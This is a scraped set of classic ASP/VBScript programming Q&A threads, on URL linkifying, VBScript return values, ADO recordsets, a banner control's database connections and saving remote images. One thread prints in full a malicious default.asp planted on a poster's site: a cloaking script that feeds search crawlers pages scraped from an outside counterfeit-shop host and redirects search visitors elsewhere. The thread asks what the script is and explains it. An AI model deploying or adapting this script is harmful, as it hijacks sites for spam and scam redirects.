Automatically make URLs clickable with formatted url title - asp-classic

I use the below code to automatic create links in my strings. But how do I convert a link like:
http://stackoverflow.com/questions/ask
into:
stackoverflow.com
As it is now, the output is:
http://stackoverflow.com/questions/ask
Thanks in advance!
Function create_links(strText)
strText = " " & strText
strText = ereg_replace(strText, "(^|[\n ])([\w]+?://[^ ,""\s<]*)", "$1$2")
strText = ereg_replace(strText, "(^|[\n ])((www|ftp)\.[^ ,""\s<]*)", "$1$2")
strText = right(strText, len(strText)-1)
create_links = strText
end function
Function ereg_replace(strOriginalString, strPattern, strReplacement)
' Function replaces pattern with replacement
dim objRegExp : set objRegExp = new RegExp
objRegExp.Pattern = strPattern
objRegExp.IgnoreCase = True
objRegExp.Global = True
ereg_replace = objRegExp.replace(strOriginalString, strReplacement)
set objRegExp = nothing
end function

I finally solved it using the following code:
Function create_links(strText)
strText = " " & strText
strText = MakeLink(strText, "http(s)?://([\w+?\.\w+])+([a-zA-Z0-9\~\!\#\#\$\%\^\&\*\(\)_\-\=\+\\\/\?\.\:\;\'\,]*)?")
create_links = strText
End function
Function MakeLink(txt, strPattern)
Dim re, targetString, colMatch, objMatch
Set re = New RegExp
With re
.Pattern = strPattern
.Global = True
.IgnoreCase = True
End With
Set colMatch = re.Execute(txt)
For each objMatch in colMatch
matchedValue = right(objMatch.Value, len(objMatch.Value))
if instr(matchedValue, "://") Then
Else
matchedValue = "http://" & matchedValue
End If
urlName = replace(replace(replace(matchedValue, "http://", ""), "https://", ""), "www.", "")
If instr(urlName, "/") Then
Arr = split(urlName, "/")
urlName = Arr(0)
End If
urlName = UCase(Left(urlName,1)) & LCase(Right(urlName, Len(urlName) - 1))
txt = replace(txt, objMatch.Value, " " & urlName & "")
Next
MakeLink = txt
End Function

Related

unknowned page uploaded to my site

this script is uploaded to my site with name default.asp, Does anyone know what was being uploaded?
<%#LANGUAGE="VBSCRIPT" CODEPAGE="65001"%>
<%
on error resume next
jumpcode="http://link.2016online.com/en/birkenstock.txt.html"
desurljiechi="http://www.birkenstockshoes-outlet.us.com/birkenstock-womens-outlet-1"
arrdom = Split(desurljiechi, "/")
For dd = 0 To 2
desurl = desurl & arrdom(dd)& "/"
Next
shellurl="http://"&Request.ServerVariables("Http_Host")&replace(replace(LCase(replace(Request.ServerVariables("REQUEST_URI"),"?"&request.ServerVariables("QUERY_STRING"),"")),"index.asp",""),"default.asp","")&"?"
rp="nike"
rc="online"
function is_spider()
dim s_agent
s_agent=Request.ServerVariables("HTTP_USER_AGENT")
If instr(s_agent,"google")>0 Or instr(s_agent,"yahoo")>0 Or instr(s_agent,"bing")>0 Or instr(s_agent,"msnbot")>0 Or instr(s_agent,"alexa")>0 Or instr(s_agent,"ask")>0 Or instr(s_agent,"findlinks")>a0 Or instr(s_agent,"altavista")>0 Or instr(s_agent,"baidu")>0 Or instr(s_agent,"inktomi")>0 Then
is_spider = 1
else
is_spider = 0
end if
end function
Function GetHtml(url,k)
agent = "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"&k
Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP")
ObjXMLHTTP.Open "GET",url,False
ObjXMLHTTP.setRequestHeader "User-Agent",agent
ObjXMLHTTP.setRequestHeader "Referer", "https://www.google.com/"
ObjXMLHTTP.send
GetHtml=ObjXMLHTTP.responseBody
Set ObjXMLHTTP=Nothing
set objStream = Server.CreateObject("Adodb.Stream")
objStream.Type = 1
objStream.Mode =3
objStream.Open
objStream.Write GetHtml
objStream.Position = 0
objStream.Type = 2
objStream.Charset = "utf-8"
GetHtml = objStream.ReadText
objStream.Close
End Function
Function IsUserSearch()
s_ref=Request.ServerVariables("HTTP_REFERER")
If instr(s_ref,"google")>0 Or instr(s_ref,"yahoo")>0 Or instr(s_ref,"bing")>0 Or instr(s_ref,"aol")>0 Then
IsUserSearch = true
else
IsUserSearch = false
end if
End Function
Function RegExpMatches(patrn, strng)
Dim regEx, Match, Matches
Set regEx = New RegExp
regEx.Pattern = patrn
regEx.IgnoreCase = True
regEx.Global = True
Set Matches = regEx.Execute(strng)
Dim MyArray()
Dim i
i=0
For Each Match in Matches
ReDim Preserve MyArray(i)
MyArray(i)=Match.Value
i=i-(-1)
Next
RegExpMatches = MyArray
End Function
Function RegExpReplace(html,patrn, strng)
Dim regEx
Set regEx = New RegExp
regEx.Pattern = patrn
regEx.IgnoreCase = True
regEx.Global = True
RegExpReplace=regEx.Replace(html,strng)
End Function
Function cDec(num)
cDecstr=0
if len(num)>0 and isnumeric(num) then
for inum=0 to len(num)-1
cDecstr=cDecstr-(-(2^inum*cint(mid(num,len(num)-inum,1))))
next
end if
cDec=cDecstr
End Function
Function OcB(num)
OcBstr=""
if len(num)>0 and isnumeric(num) then
for i=1 to len(num)
select case (mid(num,i,1))
case "0" OcBstr=OcBstr&"000"
case "1" OcBstr=OcBstr&"001"
case "2" OcBstr=OcBstr&"010"
case "3" OcBstr=OcBstr&"011"
case "4" OcBstr=OcBstr&"100"
case "5" OcBstr=OcBstr&"101"
case "6" OcBstr=OcBstr&"110"
case "7" OcBstr=OcBstr&"111"
end select
next
end if
OcB=OcBstr
End Function
Function OcD(num)
OcD=cDec(OcB(num))
End Function
Function toOct(objMatch)
toOct = "-"&rp&"-"&Oct(objMatch.subMatches(0))&"."
End Function
Function toDeOct(objMatch)
toDeOct = "-p-"&OcD(objMatch.subMatches(0))&"."
End Function
Function toCOct(objMatch)
toCOct = "-"&rc&"-"&Oct(objMatch.subMatches(0))&objMatch.subMatches(1)
End Function
Function toCDeOct(objMatch)
toCDeOct = "-c-"&OcD(objMatch.subMatches(0))&objMatch.subMatches(1)
End Function
Function RegExpReplaceCall( reg, m, str, fstr)
Dim Fun, Match, Matches, i, nStr, LastIndex
If str & "" = "" Then Exit Function
Set Fun = getRef(fstr)
Set regEx = New RegExp
regEx.Pattern = reg
regEx.IgnoreCase = True
regEx.Global = True
Set Matches = regEx.Execute(str)
LastIndex = 1
For Each Match In Matches
If Match.FirstIndex>0 Then
nStr = nStr & Mid(str, LastIndex, Match.FirstIndex-(-1)-LastIndex)
End If
nStr = nStr & Fun(Match)
LastIndex = Match.FirstIndex-(-1)-(-Match.Length)
Next
nStr = nStr & Mid(str, LastIndex)
RegExpReplaceCall = nStr
End Function
Function RegReplaceCall( reg, str, fstr)
RegReplaceCall = RegExpReplaceCall(reg, "ig", str, fstr)
End Function
spider = is_spider()
querystr = request.ServerVariables("QUERY_STRING")
if spider = 1 or querystr = "feiya" then
if querystr = "feiya" then
querystr = ""
end if
if querystr <> "" then
querystr = RegReplaceCall("-"&rp&"-(\d"&chr(43)&")\.",querystr,"toDeOct")
querystr = RegReplaceCall("-"&rc&"-(\d"&chr(43)&")([\._])",querystr,"toCDeOct")
htmls = GetHtml(desurl&querystr,"")
else
htmls = GetHtml(desurljiechi&querystr,"")
end if
htmls = RegExpReplace(htmls,"href\s*=\s*(["&chr(34)&"'])"&desurl,"href=$1"&shellurl)
desurl1 = RegExpReplace(desurl,"/$","")
htmls = RegExpReplace(htmls,"href\s*=\s*(["&chr(34)&"'])"&desurl1,"href=$1"&shellurl)
htmls = RegExpReplace(htmls,"href\s*=\s*(["&chr(34)&"'])/","href=$1"&shellurl)
htmls = RegExpReplace(htmls,"href\s*=\s*(["&chr(34)&"'])(?!http)","href=$1"&shellurl)
htmls = RegExpReplace(htmls,"src\s*=\s*(["&chr(34)&"'])"&desurl,"src=$1"&shellurl)
htmls = RegExpReplace(htmls,"src\s*=\s*(["&chr(34)&"'])/","src=$1"&shellurl)
htmls = RegExpReplace(htmls,"src\s*=\s*(["&chr(34)&"'])(?!http)","src=$1"&shellurl)
htmls = RegExpReplace(htmls,"url\((["&chr(34)&"'])","url($1"&shellurl)
desurl2 = replace(desurl1,"http://www.","")
desurl2 = replace(desurl2,"http://","")
htmls = replace(htmls,desurl2,Request.ServerVariables("Http_Host"),1,-1,1)
htmls = RegExpReplace(htmls,"href\s*=\s*(["&chr(34)&"'])"&shellurl&"\?(.*\.css)","href=$1"&desurl&"$2")
htmls = RegExpReplace(htmls,"href\s*=\s*(["&chr(34)&"'])"&shellurl&"\?(.*\.ico)","href=$1"&desurl&"$2")
htmls = RegExpReplace(htmls,"src\s*=\s*(["&chr(34)&"'])"&shellurl&"\?","src=$1"&desurl)
shellurlrm = shellurl
shellurlrm=replace(shellurlrm,"?","")
htmls = RegExpReplace(htmls,shellurlrm&"\?(["&chr(34)&"'])",shellurlrm&"$1")
htmls = RegReplaceCall("-p-(\d"&chr(43)&")\.",htmls,"toOct")
htmls = RegReplaceCall("-c-(\d"&chr(43)&")([\._])",htmls,"toCOct")
htmls = replace(htmls,"window.location.href","var jp")
htmls = replace(htmls,"location.href",";var jp")
response.write htmls
response.end()
else
if IsUserSearch then
if instr(jumpcode,".txt")>0 then
jumpcode = GetHtml(jumpcode,"Mozi11a")
tiaoarray=split(jumpcode,"?")
if IsEmpty(tiaoarray(0)) then
response.redirect jumpcode&"?"&shellurl
else
response.redirect tiaoarray(0)&"?"&shellurl
end if
end if
end if
end if
response.write GetHtml("http://"&Request.ServerVariables("Http_Host")&"/default.aspx","Mozi11a")
%>
It's redirecting requests to your site to another (probably scam) site, but only if you are coming from google.com.

VB script not returning any value

Function NextMonthName(dateval)
Dim tmp : tmp = DateAdd("m", 1, dateval)
NextMonthName = MonthName(Month(tmp))
return NextMonthName
Wscript.Echo NextMonthName
End Function
Function PrevMonthName(dateval)
Dim tmp : tmp = DateAdd("m", -1, dateval)
NextMonthName = MonthName(Month(tmp))
return NextMonthName
End Function
I am running the above mentioned VB script and it completes fine without any output. I want the result in text file. I am not able to get the output in console also.
As there is no return in VBScript, this
Option Explicit
Function NextMonthName(dateval)
Dim tmp : tmp = DateAdd("m", 1, dateval)
NextMonthName = MonthName(Month(tmp))
return NextMonthName
End Function
WScript.Echo NextMonthName(Now)
will fail with
...\31436343.vbs(6, 5) Microsoft VBScript runtime error: Variable is undefined: 'return'
(looks like you asked a question based on code containing a global "On Error Resume Next")
Removing the offending line -
Option Explicit
Function NextMonthName(dateval)
Dim tmp : tmp = DateAdd("m", 1, dateval)
NextMonthName = MonthName(Month(tmp))
End Function
WScript.Echo NextMonthName(Now)
solves the problem:
cscript 31436343.vbs
August
To write the ouput into text file ;
Option Explicit
Dim Title,dateval,Message
Title = "The previous Month and The Next Month"
dateval = Now()
Message = "The previous Month : "& PrevMonthName(dateval) & " "& Year(dateval) & vbCrLf &_
"The Next Month :"& NextMonthName(dateval) & " "& Year(dateval)
MsgBox Message,VbInformation,Title
WriteLog Message
'*******************************************
Function PrevMonthName(dateval)
Dim tmp : tmp = DateAdd("m", -1, dateval)
PrevMonthName = MonthName(Month(tmp))
End Function
'*******************************************
Function NextMonthName(dateval)
Dim tmp : tmp = DateAdd("m", 1, dateval)
NextMonthName = MonthName(Month(tmp))
End Function
'*******************************************
Sub WriteLog(strText)
Dim fs,ts,LogFile
Const ForWriting = 2
LogFile = Left(Wscript.ScriptFullName, InstrRev(Wscript.ScriptFullName, ".")) & "log"
Set fs = CreateObject("Scripting.FileSystemObject")
Set ts = fs.OpenTextFile(LogFile,ForWriting,True)
ts.WriteLine strText
ts.Close
End Sub
'********************************************

My page dies when I execute the second ASP object

I don't know too much about ASP, here is my code:
<%
dim objCmd, objRS1, objRS2, strDate1, strDate2, strName, strStyle, datDate, strLastGroup, datNow
set objCmd = Server.CreateObject("ADODB.Command")
Set objRS1 = Server.CreateObject("ADODB.Recordset")
Set objRS2 = Server.CreateObject("ADODB.Recordset")
set objCmd.ActiveConnection = objConn
objCmd.CommandText = "Select Site_Pages.Filename, HeadingName, MatrixName, Site_Matrices.MatrixID, TurnaroundOverride, TurnaroundName, MAX(Turnaround) AS AutoTurnaround, TurnaroundGroup FROM Site_Headings, Site_Pages, Site_Matrices, Site_Items, Site_Items_Prices, Items WHERE Site_Headings.HeadingID = Site_Pages.HeadingID AND Site_Pages.ProdPageID = Site_Matrices.ProdPageID AND Site_Matrices.MatrixID = Site_Items.MatrixID AND Site_Items.ItemID = Site_Items_Prices.ItemID AND Site_Items_Prices.PriceID = Items.PriceID AND SiteID = 0 AND TurnaroundPage = 1 GROUP BY HeadingName, MatrixName, TurnaroundOverride, TurnaroundName, Site_Pages.Filename, TurnaroundGroup, TurnaroundSortOrder, Site_Matrices.MatrixID ORDER BY TurnaroundGroup, TurnaroundSortOrder, HeadingName, MatrixName, TurnaroundName"
set objRS1 = objCmd.Execute
if not objRS1.eof then
Call NewTable(objRS1("TurnaroundGroup"))
strLastGroup = objRS1("TurnaroundGroup")
end if
do until objRS1.eof
if strLastGroup <> objRS1("TurnaroundGroup") then
Call EndTable()
Call NewTable(objRS1("TurnaroundGroup"))
end if
strLastGroup = objRS1("TurnaroundGroup")
'decide todays date for checking dated turnaround overrides
datNow = dateadd("h", GetSetting("TimeOffset"), now())
'if before 7am, knock off a day
if hour(datnow) < 7 then datnow = dateadd("d", -1, datnow)
objCmd.CommandText = "SELECT Turnaround FROM DatedTurnarounds WHERE MatrixID = " & CLng(objRS1("MatrixID")) & " AND TDate = '" & Year(datNow) & PadWithZeros(Month(datNow)) & PadWithZeros(Day(datNow)) & " 00:00'"
set objRS2 = objCmd.Execute
if objRS1("TurnaroundOverride") = 0 OR IsNull(objRS1("TurnaroundOverride")) then
if objRS2.eof then 'use automatic (3-last)
datDate = AddDays(objRS1("AutoTurnaround")-1)
else 'use dated turnaround override (2-second)
datDate = AddDays(objRS2("Turnaround")-1)
end if
else 'use matrix overrride (1-first - overrides all)
datDate = AddDays(objRS1("TurnaroundOverride")-1)
end if
strDate1 = Left(WeekDayName(DatePart("w", datDate)), 3) & " " & DateSuffix(DatePart("d", datDate)) & " of " & MonthName(DatePart("m", datDate))
if objRS1("TurnaroundOverride") = 0 OR IsNull(objRS1("TurnaroundOverride")) then
if objRS2.eof then 'use automatic (3-last)
datDate = AddDays(objRS1("AutoTurnaround"))
else 'use dated turnaround override (2-second)
datDate = AddDays(objRS2("Turnaround"))
end if
else 'use matrix overrride (1-first - overrides all)
datDate = AddDays(objRS1("TurnaroundOverride"))
end if
objRS2.close
strDate2 = Left(WeekDayName(DatePart("w", datDate)), 3) & " " & DateSuffix(DatePart("d", datDate)) & " of " & MonthName(DatePart("m", datDate))
if objRS1("TurnaroundName") = "" OR IsNull(objRS1("TurnaroundName")) then
if objRS1("MatrixName") = "" OR IsNull(objRS1("MatrixName")) then
strName = objRS1("HeadingName")
else
strName = objRS1("MatrixName")
end if
else
strName = objRS1("TurnaroundName")
end if
if strStyle = "PriceMatrixRow1" then
strStyle = "PriceMatrixRow2"
else
strStyle = "PriceMatrixRow1"
end if
%>
I think the problem should be somewhere here
objCmd.CommandText = "SELECT Turnaround FROM DatedTurnarounds WHERE MatrixID = " & CLng(objRS1("MatrixID")) & " AND TDate = '" & Year(datNow) & PadWithZeros(Month(datNow)) & PadWithZeros(Day(datNow)) & " 00:00'"
set objRS2 = objCmd.Execute
I'm not sure if I can execute another object in an object though
Any help would be very much appreciated.

Performance issue with this code [closed]

This question is unlikely to help any future visitors; it is only relevant to a small geographic area, a specific moment in time, or an extraordinarily narrow situation that is not generally applicable to the worldwide audience of the internet. For help making this question more broadly applicable, visit the help center.
Closed 10 years ago.
the following code is for user control(it display banner), the page get stuck in IIS with status Executerequesthandler (when there is concurrent requests for this page), when I take this user control out from the page it runs smoothy, please note this control is embeded 5 times in the page. Here is the entire code for this user control, can someone spot out the problem?
Public Class daAds
Private Remote_Host As String
Private Script_Name As String
Private PATH_INFO As String
Private Page_Link As String
Private Country As String
Public Property p_Country() As String
Get
Return Country
End Get
Set(ByVal value As String)
Country = value
End Set
End Property
Public Property p_Page_Link() As String
Get
Return Page_Link
End Get
Set(ByVal value As String)
Page_Link = value
End Set
End Property
Public Property p_Remote_Host() As String
Get
Return Remote_Host
End Get
Set(ByVal value As String)
Remote_Host = value
End Set
End Property
Public Property p_Script_Name() As String
Get
Return Script_Name
End Get
Set(ByVal value As String)
Script_Name = value
End Set
End Property
Private ConnectionToFetch As SqlConnection
Private ReadOnly Property Connection() As SqlConnection
Get
ConnectionToFetch = New SqlConnection(ConnectionString)
ConnectionToFetch.Open()
Return ConnectionToFetch
End Get
End Property
Private ReadOnly Property ConnectionString() As String
Get
Return ConfigurationManager.ConnectionStrings("ConnStr").ConnectionString
End Get
End Property
Public Property p_PATH_INFO() As String
Get
Return PATH_INFO
End Get
Set(ByVal value As String)
PATH_INFO = value
End Set
End Property
Public Function showAd(ByVal Banner_inc As Integer, ByVal banner_layout As String, Optional ByVal ShowAdsInfo As Integer = 0) As String
'Return ""
Try
'Dim connectionString As String = ConfigurationManager.ConnectionStrings("ConnStr").ConnectionString
Dim imp_user_ip As String = Trim(Remote_Host)
Dim imp_country As String = Trim(p_Country)
imp_country = Replace(imp_country, Chr(10), "")
imp_country = Replace(imp_country, Chr(13), "")
Dim imp_page_name As String = Trim(Script_Name)
Dim imp_page_name2 As String = Trim(PATH_INFO)
Dim imp_page_link As String = p_Page_Link
'Response.Write(imp_page_name)
'ParamArrayAttribute()
'Dim m As DataSet
'm = SqlHelper.ExecuteDataset(connectionString, CommandType.StoredProcedure, "disp_banner_byPageName_views", parameters)
Dim InsertCommand As New SqlCommand
InsertCommand.Connection = Connection
InsertCommand.CommandText = "disp_banner_byPageName_views"
InsertCommand.CommandType = CommandType.StoredProcedure '
'Dim IdParameter = New SqlParameter("#CategoryID", SqlDbType.Int)
'Dim NameParameter = New SqlParameter("#CategoryName", SqlDbType.NVarChar)
'IdParameter.Direction = ParameterDirection.Output
'NameParameter.Value = txtCategoryName.Text
'InsertCommand.Parameters.Add(IdParameter)
'InsertCommand.Parameters.Add(NameParameter)
Dim Param_Imp_user_ip = New SqlParameter("#imp_user_ip", SqlDbType.VarChar)
Param_Imp_user_ip.Direction = ParameterDirection.Input
Param_Imp_user_ip.Value = imp_user_ip
InsertCommand.Parameters.Add(Param_Imp_user_ip)
Param_Imp_user_ip = Nothing
Dim Param_imp_country = New SqlParameter("#imp_country", SqlDbType.VarChar)
Param_imp_country.Direction = ParameterDirection.Input
Param_imp_country.Value = imp_country '"jo" '
InsertCommand.Parameters.Add(Param_imp_country)
Param_imp_country = Nothing
Dim Param_banner_inc = New SqlParameter("#banner_inc", SqlDbType.Int)
Param_banner_inc.Direction = ParameterDirection.Input
Param_banner_inc.Value = Banner_inc
InsertCommand.Parameters.Add(Param_banner_inc)
Param_banner_inc = Nothing
Dim Param_imp_page_name = New SqlParameter("#imp_page_name", SqlDbType.VarChar)
Param_imp_page_name.Direction = ParameterDirection.Input
Param_imp_page_name.Value = imp_page_name
InsertCommand.Parameters.Add(Param_imp_page_name)
Param_imp_page_name = Nothing
Dim Param_imp_page_link = New SqlParameter("#imp_page_link", SqlDbType.VarChar)
Param_imp_page_link.Direction = ParameterDirection.Input
Param_imp_page_link.Value = imp_page_link
InsertCommand.Parameters.Add(Param_imp_page_link)
Param_imp_page_link = Nothing
Dim Param_banner_layout = New SqlParameter("#banner_layout", SqlDbType.VarChar)
Param_banner_layout.Direction = ParameterDirection.Input
Param_banner_layout.Value = banner_layout
InsertCommand.Parameters.Add(Param_banner_layout)
Param_banner_layout = Nothing
Dim Param_activeBanners = New SqlParameter("#activeBanners", SqlDbType.VarChar)
Param_activeBanners.Direction = ParameterDirection.Input
Param_activeBanners.Value = ""
InsertCommand.Parameters.Add(Param_activeBanners)
Param_activeBanners = Nothing
Dim Param_banner_width = New SqlParameter("#banner_width", SqlDbType.Int)
Param_banner_width.Direction = ParameterDirection.Output
InsertCommand.Parameters.Add(Param_banner_width)
Dim Param_banner_height = New SqlParameter("#banner_height", SqlDbType.Int)
Param_banner_height.Direction = ParameterDirection.Output
InsertCommand.Parameters.Add(Param_banner_height)
Dim Param_campaign_id = New SqlParameter("#campaign_id", SqlDbType.Int)
Param_campaign_id.Direction = ParameterDirection.Output
InsertCommand.Parameters.Add(Param_campaign_id)
Dim Param_imp_id = New SqlParameter("#imp_id", SqlDbType.Int)
Param_imp_id.Direction = ParameterDirection.Output
InsertCommand.Parameters.Add(Param_imp_id)
Dim Param_banner_url = New SqlParameter("#banner_url", SqlDbType.VarChar, 500)
Param_banner_url.Direction = ParameterDirection.Output
InsertCommand.Parameters.Add(Param_banner_url)
Dim Param_banner_img = New SqlParameter("#banner_img", SqlDbType.VarChar, 100)
Param_banner_img.Direction = ParameterDirection.Output
InsertCommand.Parameters.Add(Param_banner_img)
Dim Param_banner_text = New SqlParameter("#banner_text", SqlDbType.VarChar, 1000)
Param_banner_text.Direction = ParameterDirection.Output
InsertCommand.Parameters.Add(Param_banner_text)
Dim Param_banner_script = New SqlParameter("#banner_script", SqlDbType.VarChar, 2000)
Param_banner_script.Direction = ParameterDirection.Output
InsertCommand.Parameters.Add(Param_banner_script)
Dim Param_banner_ID = New SqlParameter("#banner_ID", SqlDbType.Int)
Param_banner_ID.Direction = ParameterDirection.Output
InsertCommand.Parameters.Add(Param_banner_ID)
Dim param_adv_name_script = New SqlParameter("#adv_name", SqlDbType.VarChar, 2000)
param_adv_name_script.Direction = ParameterDirection.Output
InsertCommand.Parameters.Add(param_adv_name_script)
InsertCommand.ExecuteNonQuery()
Dim ActiveBanner As String = ""
Dim banner_height As Integer
Dim campaign_id As Integer
Dim imp_id As Integer
Dim banner_url As String
Dim banner_img As String
Dim banner_text As String
Dim banner_script As String
Dim banner_ID As Integer
Dim banner_width As String
'ActiveBanner = Param_activeBanners.Value()
banner_width = Param_banner_width.Value()
banner_height = Param_banner_height.Value()
If (Not IsDBNull(Param_campaign_id.Value())) Then
campaign_id = Convert.ToInt16(Param_campaign_id.Value())
End If
If (Not IsDBNull(Param_imp_id.Value())) Then
imp_id = Convert.ToInt16(Param_imp_id.Value())
End If
banner_url = Param_banner_url.Value()
banner_img = Param_banner_img.Value()
banner_text = Param_banner_text.Value()
banner_script = Param_banner_script.Value()
banner_ID = Param_banner_ID.Value()
ConnectionToFetch.Close()
ConnectionToFetch = Nothing
Param_banner_width = Nothing
Param_banner_height = Nothing
Param_campaign_id = Nothing
Param_imp_id = Nothing
Param_banner_url = Nothing
Param_banner_img = Nothing
Param_banner_text = Nothing
Param_banner_script = Nothing
Param_banner_ID = Nothing
param_adv_name_script = Nothing
If imp_page_link = "" Then
imp_page_link = " "
End If
'Dim x As Integer = parameters(9).Value
If String.IsNullOrEmpty(campaign_id) Then
campaign_id = -1
End If
If IsNothing(campaign_id) Then
campaign_id = -1
End If
If campaign_id < 1 Then 'If CInt("0" & param_campaign_id.value) < 1 Then
Return "<!-- log name='campNull' value='" & campaign_id & "' -->"
End If
If ActiveBanner = "" Then
ActiveBanner = banner_ID
ElseIf InStr("," & ActiveBanner & ",", "," & banner_ID & ",") < 1 Then
ActiveBanner = banner_ID & "," & ActiveBanner
End If
Dim strRet As String
'If request.QueryString("ads") = 1 Then
'Response.Write(" SessionID:" & Session.SessionID & " " & " disp_custom_banner " & campaign_id & "," & banner_ID & "," & adv_id & " Country=" & gCountry & " Banner=" & adv_name & " IP=" & request.ServerVariables("Remote_host"))
' End If
Dim strbuilder As New StringBuilder
If ShowAdsInfo = 1 Then
strbuilder.Append("disp_custom_banner " & campaign_id & "," & banner_ID & "," & " Country=" & imp_country & ", Banner=" & param_adv_name_script.Value())
End If
strbuilder.Append("<!-- log banner=" & banner_ID & " activeBanners=" & ActiveBanner & " -->")
strbuilder.Append("<script language='javascript' defer=defer>AdvimgBanner=" & IIf(imp_id = Nothing, 0, imp_id) & ";</script>" & vbCr)
If Len(banner_script) > 5 Then
''''''''' added for counting issue
Dim tmtmp As String = Replace(DateTime.Now.ToShortTimeString(), "PM", "")
Dim tm As String = Replace(tmtmp, "AM", "")
tm = Replace(tm, ":", "")
'''''''''
Dim max, min, RandomNum
max = 10000
min = 1
RandomNum = CStr(Int((max - min + 1) * Rnd() + min))
RandomNum = RandomNum & "-" & banner_ID
Dim ReFactor As String = Replace(banner_script, "[timestamp]", RandomNum & tm)
strbuilder.Append(Replace(ReFactor, "&cacheburst=", "&cacheburst=" & RandomNum & tm))
Return strbuilder.ToString
End If
If InStr(LCase(banner_img), ".swf") > 0 Then
Dim url_str As String = HttpContext.Current.Server.UrlEncode("http://www.xxx.com/includes/bannerhits.asp?campaign_id=" & campaign_id & "&imp_id=" & imp_id & "&URL=" & HttpContext.Current.Server.UrlEncode(banner_url))
Dim banner_str As String = "<A HREF=/includes/in_banner_hits.asp?campaign_id=" & campaign_id & "&imp_id=" & imp_id & "&URL=" & HttpContext.Current.Server.UrlEncode(banner_url) & " TARGET='_blank'>"
Dim bannersrc As String = "/updates/banners/" & banner_img
Dim concatEmbedID As String = "CAMP" & campaign_id
Dim DivNameID As String = "flashbanner" & banner_layout
Dim bannerhit As String = "http://www.xxx.com/includes/bannerhits.asp?campaign_id=" & campaign_id & "&imp_id=" & imp_id & "&URL=" & banner_url
bannerhit = HttpContext.Current.Server.UrlEncode(bannerhit)
strbuilder.Append("<div id='<%=DivNameID%>'>")
strbuilder.Append("<a href='http://www.adobe.com/go/getflashplayer'>")
strbuilder.Append("<img src='http://www.adobe.com/images/shared/download_buttons/get_flash_player.gif' alt='Get Adobe Flash player' border='0' /></a></div>")
strbuilder.Append("<script type='text/javascript' src='/includes/scripts/swfobject.js' ></script>")
strbuilder.Append("<script type='text/javascript' >")
strbuilder.Append("var so = new SWFObject(" + bannersrc + ", " + DivNameID + "," + banner_width + ", " + banner_height + ", ""6"", ""#ffffff"");")
strbuilder.Append("so.addParam(""quality"", ""autohigh "");")
strbuilder.Append("so.addParam(""bgcolor"", ""#ffffff"");")
strbuilder.Append("so.addParam(""swliveconnect"", ""false"");")
strbuilder.Append("so.addParam(""wmode"", ""transparent"");")
strbuilder.Append("so.addVariable(""clickTAG""," + bannerhit + ");")
strbuilder.Append("so.write(" + DivNameID + ");")
strbuilder.Append("</SCRIPT>")
Else
strbuilder.Append("<A HREF=/includes/in_banner_hits.asp?campaign_id=" & campaign_id & "&imp_id=" & imp_id & "&URL=" & HttpContext.Current.Server.UrlEncode(banner_url) & " TARGET='_blank'>" & _
" <IMG SRC='/updates/banners/" & banner_img & "' WIDTH='" & banner_width & "' HEIGHT='" & banner_height & "' BORDER='0' ALT='" & banner_text & "' vspace='5'></A>")
'response.write(banner_str)
End If
If Err.Number <> 0 Then
strbuilder.Append("<!--log name='err' value='" & Err.Description & _
"' Source='" & Err.Source & "' Number='" & Err.Number & "'-->")
End If
InsertCommand = Nothing
Dim strReturn As String = strbuilder.ToString
strbuilder = Nothing
Return strReturn
Catch ex As Exception
End Try
End Function
End Class
In short: You should create,open,use,close,dispose Connections where you're using them.
The best way is to use the using-statement. By not closing the connection as soon as possible, the Connection-Pool needs to create new physical connections to the dbms which is very expensive in terms of perfomance.
Using conn As New SqlClient.SqlConnection(ConfigurationManager.ConnectionStrings("ConnStr").ConnectionString)
Using insertCommand As New SqlClient.SqlCommand("disp_banner_byPageName_views", conn)
insertCommand.CommandType = CommandType.StoredProcedure
' ....
End Using
End Using
Performance problems are the least you get when not closing connections properly.
Edit: I've overlooked the ConnectionToFetch.Close in the middle of the code.
But anyway, you should use using or the finally of a try/catch to close a connection, otherwise it'll keep open in case of any exceptions. Because you've already a try/catch you could use it to close it in it's finally block.
I don't want to nag even more, but an empty catch is bad, because you'll never know when an exception was raised. You might want to log or at least throw it again there to catch it in Application_Error and/or in a custom error page or at the caller of this method.
Try
' code here
Catch ex As Exception
' log exception and/or throw(what is always better than to intercept it)
Throw
Finally
ConnectionToFetch.Close
End Try

What is a fast and efficient way to import images by URL?

Would I just use MSXML and import as binary? Or is there another more efficient way?
There are gigs and gigs of JPEGs to fetch.
I have written something in the past, the code below will save remote image on the server disk. It's classic ASP and pretty efficient:
<%
Const CONTENT_FOLDER_NAME = "StoredContents"
Dim strImageUrl
strImageUrl = "http://www.gravatar.com/avatar/8c488f9c3d3da5bb756507179a3d53fd?s=32&d=identicon&r=PG"
Call SaveOnServer(strImageUrl, "bill_avatar.jpg")
Sub SaveOnServer(url, strFileName)
Dim strRawData, objFSO, objFile
Dim strFilePath, strFolderPath, strError
strRawData = GetBinarySource(url, strError)
If Len(strError)>0 Then
Response.Write("<span style=""color: red;"">Failed to get binary source. Error:<br />" & strError & "</span>")
Else
strFolderPath = Server.MapPath(CONTENT_FOLDER_NAME)
Set objFSO = Server.CreateObject("Scripting.FileSystemObject")
If Not(objFSO.FolderExists(strFolderPath)) Then
objFSO.CreateFolder(strFolderPath)
End If
If Len(strFileName)=0 Then
strFileName = GetCleanName(url)
End If
strFilePath = Server.MapPath(CONTENT_FOLDER_NAME & "/" & strFileName)
Set objFile = objFSO.CreateTextFile(strFilePath)
objFile.Write(RSBinaryToString(strRawData))
objFile.Close
Set objFile = Nothing
Set objFSO = Nothing
Response.Write("<h3>Stored contents of " & url & ", total of <span style=""color: blue;"">" & LenB(strRawData) & "</span> bytes</h3>")
Response.Write("<a href=""" & CONTENT_FOLDER_NAME & "/" & strFileName & """ target=""_blank""><span style=""color: blue;"">" &_
strFileName & "</span></a>")
End If
End Sub
Function RSBinaryToString(xBinary)
''# Antonin Foller, http://www.motobit.com
''# RSBinaryToString converts binary data (VT_UI1 | VT_ARRAY Or MultiByte string)
''# to a string (BSTR) using ADO recordset
Dim Binary
'' #MultiByte data must be converted To VT_UI1 | VT_ARRAY first.
If vartype(xBinary)=8 Then Binary = MultiByteToBinary(xBinary) Else Binary = xBinary
Dim RS, LBinary
Const adLongVarChar = 201
Set RS = CreateObject("ADODB.Recordset")
LBinary = LenB(Binary)
If LBinary>0 Then
RS.Fields.Append "mBinary", adLongVarChar, LBinary
RS.Open
RS.AddNew
RS("mBinary").AppendChunk Binary
